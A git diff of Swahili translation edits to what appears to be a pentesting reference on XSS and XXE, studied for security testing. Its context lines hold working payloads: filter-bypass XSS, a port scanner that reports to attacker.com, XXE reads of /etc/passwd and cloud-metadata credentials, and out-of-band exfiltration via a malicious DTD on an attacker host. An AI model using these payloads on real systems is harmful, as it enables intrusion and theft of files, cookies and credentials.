Kumbuka kwamba katika mfano huu **hatujaifunga hata nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML unafanywa kwanza na kivinjari**, ambayo inahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vizuizi vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza scripts zilizowekwa unafanywa tu baadaye.
|
||||
Kumbuka kwamba katika mfano huu **hatujaweza hata kufunga nukta moja**. Hii ni kwa sababu **uchambuzi wa HTML unafanywa kwanza na kivinjari**, ambayo inahusisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na vizuizi vya script. Uchambuzi wa JavaScript ili kuelewa na kutekeleza scripts zilizowekwa unafanywa tu baadaye.
|
||||
|
||||
### Ndani ya msimbo wa JS
|
||||
|
||||
Ikiwa `<>` zinatakaswa bado unaweza **kuepuka mfuatano** ambapo ingizo lako linapatikana na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
|
||||
Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako lina **patikana** na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -488,8 +488,8 @@ Ikiwa `<>` zinatakaswa bado unaweza **kuepuka mfuatano** ambapo ingizo lako lina
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Ili kujenga **nyuzi** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelekezo ya JS** kwa kutumia sintaksia `${ ... }`.\
|
||||
Hivyo, ikiwa utagundua kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
|
||||
Ili kujenga **nyuzi** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maonyesho ya JS** kwa kutumia sintaksia `${ ... }`.\
|
||||
Hivyo, ikiwa utagundua kuwa ingizo lako linatolewa **ndani** ya nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
|
||||
|
||||
Hii inaweza **kutumiwa vibaya** kwa kutumia:
|
||||
```javascript
|
||||
@ -503,7 +503,7 @@ return loop
|
||||
}
|
||||
loop``````````````
|
||||
```````````````
|
||||
### Utekelezaji wa msimbo uliofungwa
|
||||
### Utekelezaji wa msimbo ulioandikwa
|
||||
```markup
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Mstari mipya ya JavaScript (kutoka** [**njia ya mstari mpya wa JavaScript**](./#javascript-new-lines) **)**
|
||||
**Mstari mipya ya JavaScript (kutoka** [**njia mpya ya JavaScript**](./#javascript-new-lines) **trick)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -739,7 +739,7 @@ top[8680439..toString(30)](1)
|
||||
## **Uthibitisho wa DOM**
|
||||
|
||||
Kuna **kodii ya JS** inayotumia **data zisizo salama zinazodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodii ya JS isiyo na mipaka.\
|
||||
**Kwa sababu ya upanuzi wa maelezo ya** [**uthibitisho wa DOM umehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
|
||||
**Kwa sababu ya upanuzi wa maelezo ya** [**uthibitisho wa DOM uhamishi ulifanywa kwenye ukurasa huu**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
@ -748,7 +748,7 @@ dom-xss.md
|
||||
Hapo utapata **maelezo ya kina kuhusu ni nini uthibitisho wa DOM, jinsi zinavyosababishwa, na jinsi ya kuzitumia**.\
|
||||
Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelezo kuhusu [**shambulio la DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Kuinua Self-XSS
|
||||
### Kuboresha Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
@ -760,13 +760,13 @@ Ikiwa unaweza kuanzisha XSS kwa kutuma payload ndani ya cookie, hii kwa kawaida
|
||||
|
||||
Unaweza kupata matumizi makubwa ya mbinu hii katika [**chapisho hili la blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Kutuma kikao chako kwa msimamizi
|
||||
### Kutuma kikao chako kwa admin
|
||||
|
||||
Labda mtumiaji anaweza kushiriki profaili yake na msimamizi na ikiwa self XSS iko ndani ya profaili ya mtumiaji na msimamizi anaiangalia, atachochea udhaifu huo.
|
||||
Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko ndani ya profaili ya mtumiaji na admin anapofikia, atachochea udhaifu huo.
|
||||
|
||||
### Kurefusha Kikao
|
||||
|
||||
Ikiwa unapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili msimamizi akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
|
||||
Ikiwa unapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
|
||||
|
||||
Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao chake.
|
||||
|
||||
@ -774,7 +774,7 @@ Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao cha
|
||||
|
||||
### Unicode Iliyosawazishwa
|
||||
|
||||
Unaweza kuangalia ikiwa **thamani zinazorejelewa** zinakuwa **zimewasawazishwa kwa unicode** katika seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Unaweza kuangalia ikiwa **thamani zinazorejelewa** zina **sawazishwa kwa unicode** katika seva (au upande wa mteja) na kutumia kazi hii kupita ulinzi. [**Pata mfano hapa**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
```javascript
|
||||
@ -787,7 +787,7 @@ Mfano wa fomu ([from this report](https://hackerone.com/reports/709336)), ikiwa
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
Wakati wa "Key","Value" utaonyeshwa kama ifuatavyo:
|
||||
Mchanganyiko "Key","Value" utaonyeshwa tena kama ifuatavyo:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
@ -825,22 +825,22 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS na uingizaji wa kichwa katika jibu la 302
|
||||
|
||||
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kiendeshe JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo tu mzigo wa uandishi wa skripti ya tovuti ya kigeni ni bure.
|
||||
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kiendeshe JavaScript isiyo na mipaka**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo tu mzigo wa cross-site scripting hauwezi kutumika.
|
||||
|
||||
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza mzigo wa XSS ndani ya mwili.\
|
||||
Protokali zilizojulikana zamani: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Location kisicho na kitu_, `resource://`.
|
||||
|
||||
### Herufi, Nambari na Nukta Pekee
|
||||
|
||||
Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inaendesha** ikipunguzwa kwa herufi hizo. [**Soma sehemu hii ya chapisho hili**](./#javascript-function) ili kujua jinsi ya kutumia tabia hii.
|
||||
Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inaendesha** ikipunguzwa kwa herufi hizo. [**Soma sehemu hii ya chapisho hili**](./#javascript-function) ili kupata jinsi ya kutumia tabia hii.
|
||||
|
||||
### Aina za Maudhui Halali za `<script>` kwa XSS
|
||||
|
||||
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa unajaribu kupakia skripti yenye **aina ya maudhui** kama `application/octet-stream`, Chrome itatupa kosa lifuatalo:
|
||||
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa unajaribu kupakia script yenye **aina ya maudhui** kama `application/octet-stream`, Chrome itatoa kosa lifuatalo:
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
Aina pekee za **Content-Type** ambazo zitaruhusu Chrome kuendesha **skripti iliyopakiwa** ni zile zilizo ndani ya const **`kSupportedJavascriptTypes`** kutoka [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
Aina pekee za **Content-Type** ambazo zitaruhusu Chrome kuendesha **script iliyopakiwa** ni zile zilizo ndani ya const **`kSupportedJavascriptTypes`** kutoka [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -896,9 +896,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval ili kuitumia inaweza kusababisha XSS.
|
||||
Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kuweza kuhamasisha XSS.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Inafanya kazi kama ifuatavyo:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -927,7 +927,7 @@ Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/m
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
Katika vivinjari vingine **`Content-Types`** nyingine zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
Katika vivinjari vingine aina nyingine za **`Content-Types`** zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
|
||||
@ -943,7 +943,7 @@ Ikiwa ukurasa unarudisha aina ya maudhui ya text/xml inawezekana kuashiria names
|
||||
|
||||
Wakati kitu kama **`"some {{template}} data".replace("{{template}}", <user_input>)`** kinatumika. Mshambuliaji anaweza kutumia [**mabadiliko maalum ya nyuzi**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kujaribu kupita baadhi ya ulinzi: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika ku **kutoa nyuzi za JSON** ndani ya script na kutekeleza msimbo wa kiholela.
|
||||
Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), hii ilitumika **kutoa nyuzi za JSON** ndani ya script na kutekeleza msimbo wa kiholela.
|
||||
|
||||
### Kumbukumbu ya Chrome hadi XSS
|
||||
|
||||
@ -953,7 +953,7 @@ chrome-cache-to-xss.md
|
||||
|
||||
### Kutoroka kwa XS Jails
|
||||
|
||||
Ikiwa una seti ndogo tu ya wahusika kutumia, angalia suluhisho hizi nyingine halali za matatizo ya XSJail:
|
||||
Ikiwa una seti ndogo tu ya wahusika kutumia, angalia hizi suluhisho nyingine halali za matatizo ya XSJail:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -1339,7 +1339,7 @@ q.shift()()
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Scanner ya Port (fetch)
|
||||
### Scanner ya Bandari (fetch)
|
||||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
@ -1381,7 +1381,7 @@ Wakati data yoyote inapoingizwa katika uwanja wa nywila, jina la mtumiaji na nyw
|
||||
|
||||
### Keylogger
|
||||
|
||||
Nikiwa na utafiti tu katika github, nilipata tofauti kadhaa:
|
||||
Nikiwa naangalia katika github, nilipata baadhi tofauti:
|
||||
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
@ -1425,7 +1425,9 @@ shadow-dom.md
|
||||
|
||||
### Polyglots
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Payloads za XSS za Kijinga
|
||||
|
||||
@ -1471,7 +1473,7 @@ Unaweza pia kutumia: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```
|
||||
### Regex - Kupata Maudhui Yaliyofichwa
|
||||
|
||||
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
|
||||
Kutoka [**hiki andiko**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) inawezekana kujifunza kwamba hata kama baadhi ya thamani zinapotea kutoka JS, bado inawezekana kuziona katika sifa za JS katika vitu tofauti. Kwa mfano, ingizo la REGEX bado linaweza kupatikana baada ya thamani ya ingizo la regex kuondolewa:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1490,7 +1492,9 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
```
|
||||
### Orodha ya Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS Kutumia udhaifu mwingine
|
||||
|
||||
@ -1502,16 +1506,16 @@ Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS!
|
||||
xss-in-markdown.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS hadi SSRF
|
||||
### XSS kwa SSRF
|
||||
|
||||
Una XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo hadi SSRF** kupitia Edge Side Include Injection na payload hii:
|
||||
Una XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo kuwa SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Tumia ili kupita vizuizi vya cookie, XSS filters na mengi zaidi!\
|
||||
Taarifa zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS katika PDF iliyoundwa kwa njia ya dynamic
|
||||
### XSS katika PDF inayoundwa kwa dinamik
|
||||
|
||||
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia input inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\
|
||||
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kuitumia** tabia hii kusababisha **Server XSS**.
|
||||
|
@ -2,16 +2,15 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Msingi wa XML
|
||||
|
||||
XML ni lugha ya alama iliyoundwa kwa ajili ya uhifadhi na usafirishaji wa data, ikiwa na muundo wa kubadilika unaoruhusu matumizi ya lebo zenye majina ya kuelezea. Inatofautiana na HTML kwa kutokuwa na mipaka ya lebo zilizowekwa awali. Umuhimu wa XML umepungua na kuongezeka kwa JSON, licha ya jukumu lake la awali katika teknolojia ya AJAX.
|
||||
|
||||
- **Uwakilishi wa Data kupitia Vitu**: Vitu katika XML vinawezesha uwakilishi wa data, ikiwa ni pamoja na wahusika maalum kama `<` na `>`, ambazo zinahusiana na `<` na `>` ili kuepuka mgongano na mfumo wa lebo za XML.
|
||||
- **Uwakilishi wa Data kupitia Vitu**: Vitu katika XML vinawezesha uwakilishi wa data, ikiwa ni pamoja na wahusika maalum kama `<` na `>`, ambayo yanalingana na `<` na `>` ili kuepuka mgongano na mfumo wa lebo za XML.
|
||||
- **Kufafanua Vipengele vya XML**: XML inaruhusu ufafanuzi wa aina za vipengele, ikielezea jinsi vipengele vinavyopaswa kuundwa na ni maudhui gani yanaweza kuwa nayo, kuanzia aina yoyote ya maudhui hadi vipengele maalum vya watoto.
|
||||
- **Ufafanuzi wa Aina ya Hati (DTD)**: DTD ni muhimu katika XML kwa kufafanua muundo wa hati na aina za data zinazoweza kuwa ndani yake. Zinaweza kuwa za ndani, za nje, au mchanganyiko, zikiongoza jinsi hati zinavyopangwa na kuthibitishwa.
|
||||
- **Vitu vya Kawaida na vya Nje**: XML inasaidia uundaji wa vitu vya kawaida ndani ya DTD kwa uwakilishi wa data wa kubadilika. Vitu vya nje, vilivyofafanuliwa kwa URL, vinazua wasiwasi wa usalama, hasa katika muktadha wa mashambulizi ya XML External Entity (XXE), ambayo yanatumia jinsi waandishi wa XML wanavyoshughulikia vyanzo vya data vya nje: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Ugunduzi wa XXE kwa kutumia Vitu vya Kigezo**: Kwa ajili ya kugundua udhaifu wa XXE, hasa wakati mbinu za kawaida zinaposhindwa kutokana na hatua za usalama za waandishi, vitu vya kigezo vya XML vinaweza kutumika. Vitu hivi vinaruhusu mbinu za kugundua nje ya muktadha, kama vile kuanzisha utafutaji wa DNS au maombi ya HTTP kwa kikoa kilichodhibitiwa, ili kuthibitisha udhaifu.
|
||||
- **Ugunduzi wa XXE kwa kutumia Vitu vya Kigezo**: Kwa ajili ya kugundua udhaifu wa XXE, hasa wakati mbinu za kawaida zinaposhindwa kutokana na hatua za usalama za waandishi, vitu vya kigezo vya XML vinaweza kutumika. Vitu hivi vinaruhusu mbinu za kugundua nje ya mtandao, kama vile kuanzisha utafutaji wa DNS au maombi ya HTTP kwa kikoa kilichodhibitiwa, ili kuthibitisha udhaifu.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
@ -21,7 +20,7 @@ XML ni lugha ya alama iliyoundwa kwa ajili ya uhifadhi na usafirishaji wa data,
|
||||
|
||||
### Jaribio la Kitu Kipya
|
||||
|
||||
Katika shambulio hili nitajaribu kuona kama tangazo rahisi la KITU kipya linafanya kazi.
|
||||
Katika shambulio hili nitajaribu kuona kama tamko rahisi la KITU kipya linafanya kazi.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
|
||||
@ -66,7 +65,7 @@ Katika kesi hii ya tatu, angalia tunatangaza `Element stockCheck` kama ANY.
|
||||
|
||||
### Orodha ya saraka
|
||||
|
||||
Katika programu zinazotegemea **Java**, inaweza kuwa inawezekana **kuyataja maudhui ya saraka** kupitia XXE kwa payload kama (kuomba tu saraka badala ya faili):
|
||||
Katika programu zinazotegemea **Java**, inaweza kuwa inawezekana **kuyataja maudhui ya saraka** kupitia XXE kwa payload kama (kuuliza tu saraka badala ya faili):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
@ -76,7 +75,7 @@ Katika programu zinazotegemea **Java**, inaweza kuwa inawezekana **kuyataja maud
|
||||
```
|
||||
### SSRF
|
||||
|
||||
XXE inaweza kutumika kuabudu SSRF ndani ya wingu
|
||||
XXE inaweza kutumika kuboresha SSRF ndani ya wingu
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
|
||||
@ -84,7 +83,7 @@ XXE inaweza kutumika kuabudu SSRF ndani ya wingu
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
Kwa kutumia **mbinu iliyotajwa hapo awali** unaweza kufanya seva kufikia seva unayodhibiti ili kuonyesha kuwa ina udhaifu. Lakini, ikiwa hiyo haifanyi kazi, huenda ni kwa sababu **vitengo vya XML haviruhusiwi**, katika kesi hiyo unaweza kujaribu kutumia **vitengo vya parameta za XML**:
|
||||
Kwa kutumia **mbinu iliyotajwa hapo awali** unaweza kufanya seva kufikia seva unayodhibiti ili kuonyesha kuwa ina udhaifu. Lakini, ikiwa hiyo haifanyi kazi, labda ni kwa sababu **vitengo vya XML haviruhusiwi**, katika kesi hiyo unaweza kujaribu kutumia **vitengo vya parameta za XML**:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
@ -92,7 +91,7 @@ Kwa kutumia **mbinu iliyotajwa hapo awali** unaweza kufanya seva kufikia seva un
|
||||
```
|
||||
### "Blind" SSRF - Exfiltrate data out-of-band
|
||||
|
||||
**Katika tukio hili tutafanya seva ipakie DTD mpya yenye mzigo mbaya ambao utatuma maudhui ya faili kupitia ombi la HTTP (kwa faili zenye mistari mingi unaweza kujaribu kuhamasisha kupitia \_ftp://**\_ ukitumia seva hii ya msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**Portswiggers lab hapa**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**Katika tukio hili tutafanya server irekebishe DTD mpya yenye payload mbaya ambayo itatuma maudhui ya faili kupitia ombi la HTTP (kwa faili zenye mistari mingi unaweza kujaribu kuhamasisha kupitia \_ftp://**\_ ukitumia server hii ya msingi kwa mfano [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Maelezo haya yanategemea** [**Portswiggers lab hapa**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
Katika DTD mbaya iliyotolewa, hatua kadhaa zinafanywa ili kuhamasisha data:
|
||||
|
||||
@ -109,8 +108,8 @@ Hatua zinazotekelezwa na DTD hii ni:
|
||||
|
||||
1. **Mwelekeo wa Vigezo vya Kigezo:**
|
||||
- Kigezo cha XML, `%file`, kinaundwa, kikisoma maudhui ya faili ya `/etc/hostname`.
|
||||
- Kigezo kingine cha XML, `%eval`, kinafafanuliwa. Kinatangaza kwa njia ya kidinamikali kigezo kipya cha XML, `%exfiltrate`. Kigezo cha `%exfiltrate` kimewekwa kufanya ombi la HTTP kwa seva ya mshambuliaji, likipitisha maudhui ya kigezo cha `%file` ndani ya mfuatano wa swali wa URL.
|
||||
2. **Tekeleza Vigezo:**
|
||||
- Kigezo kingine cha XML, `%eval`, kinafafanuliwa. Kinatangaza kwa njia ya kidinamikali kigezo kipya cha XML, `%exfiltrate`. Kigezo cha `%exfiltrate` kimewekwa kufanya ombi la HTTP kwa seva ya mshambuliaji, likipitia maudhui ya kigezo cha `%file` ndani ya mfuatano wa swali wa URL.
|
||||
2. **Utendaji wa Vigezo:**
|
||||
- Kigezo cha `%eval` kinatumika, na kusababisha utekelezaji wa tangazo la kidinamikali la kigezo cha `%exfiltrate`.
|
||||
- Kigezo cha `%exfiltrate` kinatumika, kikichochea ombi la HTTP kwa URL iliyoainishwa na maudhui ya faili.
|
||||
|
||||
@ -122,18 +121,18 @@ Mshambuliaji anahifadhi DTD hii mbaya kwenye seva chini ya udhibiti wao, kawaida
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Hii payload inafafanua kigezo cha XML `%xxe` na kuingiza ndani ya DTD. Wakati inapotolewa na parser ya XML, hii payload inapata DTD ya nje kutoka kwa seva ya mshambuliaji. Parser kisha inatafsiri DTD inline, ikitekeleza hatua zilizoainishwa katika DTD mbaya na kusababisha kuvuja kwa faili ya `/etc/hostname` hadi seva ya mshambuliaji.
|
||||
Hii payload inafafanua chombo cha XML parameter `%xxe` na kuingiza ndani ya DTD. Wakati inapotolewa na parser ya XML, hii payload inapata DTD ya nje kutoka kwa seva ya mshambuliaji. Parser kisha inatafsiri DTD inline, ikitekeleza hatua zilizoainishwa katika DTD mbaya na kusababisha kuhamasishwa kwa faili ya `/etc/hostname` kwenye seva ya mshambuliaji.
|
||||
|
||||
### Error Based(External DTD)
|
||||
### Makosa Yanayotokana na (External DTD)
|
||||
|
||||
**Katika kesi hii tutafanya seva ipakie DTD mbaya ambayo itaonyesha maudhui ya faili ndani ya ujumbe wa kosa (hii ni halali tu ikiwa unaweza kuona ujumbe wa kosa).** [**Mfano kutoka hapa.**](https://portswigger.net/web-security/xxe/blind)
|
||||
**Katika kesi hii tutafanya seva ipakie DTD mbaya ambayo itaonyesha maudhui ya faili ndani ya ujumbe wa kosa (hii ni halali tu ikiwa unaweza kuona ujumbe wa makosa).** [**Mfano kutoka hapa.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Ujumbe wa kosa la uchambuzi wa XML, ukifunua maudhui ya faili ya `/etc/passwd`, unaweza kuanzishwa kwa kutumia Aina ya Hati ya Nje (DTD) mbaya. Hii inafanywa kupitia hatua zifuatazo:
|
||||
Ujumbe wa kosa la uchambuzi wa XML, ukifunua maudhui ya faili ya `/etc/passwd`, unaweza kuanzishwa kwa kutumia DTD ya nje mbaya. Hii inafanywa kupitia hatua zifuatazo:
|
||||
|
||||
1. Kigezo cha XML kinachoitwa `file` kinafafanuliwa, ambacho kina maudhui ya faili ya `/etc/passwd`.
|
||||
2. Kigezo cha XML kinachoitwa `eval` kinafafanuliwa, kikijumuisha tangazo la dinamik kwa kigezo kingine cha XML kinachoitwa `error`. Kigezo hiki `error`, kinapojaribiwa, kinajaribu kupakia faili isiyopo, kikijumuisha maudhui ya kigezo cha `file` kama jina lake.
|
||||
3. Kigezo cha `eval` kinaitwa, na kusababisha tangazo la dinamik la kigezo cha `error`.
|
||||
